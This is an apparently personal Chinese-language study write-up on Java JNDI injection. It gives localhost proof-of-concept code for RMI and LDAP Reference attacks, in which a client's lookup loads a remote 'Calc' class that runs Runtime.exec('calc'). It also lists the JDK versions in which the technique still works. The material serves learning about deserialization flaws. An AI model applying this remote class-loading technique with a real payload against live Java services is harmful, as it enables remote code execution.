java反序列化JNDI 学习
Java Jndi 注入学习
- 主要分为几个部分吧,这里就合并到一起写了。
什么是jndi
首先第一个问题,什么是 JNDI,它的作用是什么?
根据官方文档,JNDI 全称为 Java Naming and Directory Interface,即 Java 名称与目录接口。也就是一个名字对应一个 Java 对象。
也就是一个字符串对应一个对象。
jndi 在 jdk 里面支持以下四种服务
- LDAP:轻量级目录访问协议
- 通用对象请求代理架构(CORBA);通用对象服务(COS)名称服务
- Java 远程方法调用(RMI) 注册表
- DNS 服务
前三种都是字符串对应对象,DNS 是 IP 对应域名。
rmi中的jndi
JNDISever:
package org.example;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JNDIServer {
public static void main(String[] args) throws RemoteException, NamingException {
InitialContext initialContext = new InitialContext();
Registry registry = LocateRegistry.createRegistry(1099);
initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());
}
}
JNDIClient:
package org.example;
import javax.naming.InitialContext;
public class JNDIClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
RemoteObj remoteObj = (RemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}
RemoteObjImpl:
package org.example;
import java.io.IOException;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class RemoteObjImpl extends UnicastRemoteObject implements RemoteObj {
public RemoteObjImpl() throws RemoteException {
// UnicastRemoteObject.exportObject(this, 0); // 如果不能继承 UnicastRemoteObject 就需要手工导出
}
@Override
public String sayHello(String keywords) throws IOException {
Runtime.getRuntime().exec("calc");
return "hello";
}
public void sayGoodbye() throws RemoteException {}
public void sayGoodbye(EvilServer evilServer) throws RemoteException {
System.out.println("调用了SayGoodbye");
}
}
JNDI Reference类:
server:
package org.example;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JNDIServer {
public static void main(String[] args) throws RemoteException, NamingException {
InitialContext initialContext = new InitialContext();
Registry registry = LocateRegistry.createRegistry(1099);
// RMI
// initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl()); // JNDI 注入漏洞
Reference reference = new Reference("Calc","Calc","http://localhost:7777/");
initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
}
}
Calc:
这里注意不能有package包名什么的,否则就not found了
import java.io.IOException;
public class Calc {
public Calc() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
Client:
package org.example;
import javax.naming.InitialContext;
public class JNDIClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
RemoteObj remoteObj = (RemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}

ldap中的jndi
ldap是一种通用的网络协议,在内网中也会遇见ldap服务
https://directory.apache.org/studio/download/download-windows.html
首先我们下载一个这个用做ldap服务器,管理员权限启动,不然ldap服务启动不起来



Server:
package org.example;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JNDIServer {
public static void main(String[] args) throws RemoteException, NamingException {
InitialContext initialContext = new InitialContext();
Reference reference = new Reference("Calc","Calc","http://localhost:7777/");
initialContext.rebind("ldap://localhost:10389/cn=test,dc=example,dc=com",reference);
}
}
Client:
package org.example;
import javax.naming.InitialContext;
public class JNDIClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
initialContext.lookup("ldap://localhost:10389/cn=test,dc=example,dc=com");
}
}
注意一点就是,LDAP+Reference的技巧远程加载Factory类不受RMI+Reference中的com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。但在JDK 8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被设置为false,对LDAP Reference远程工厂类的加载增加了限制。
所以,当JDK版本介于8u191、7u201、6u211与6u141、7u131、8u121之间时,我们就可以利用LDAP+Reference的技巧来进行JNDI注入的利用。
因此,这种利用方式的前提条件就是目标环境的JDK版本在JDK8u191、7u201、6u211以下。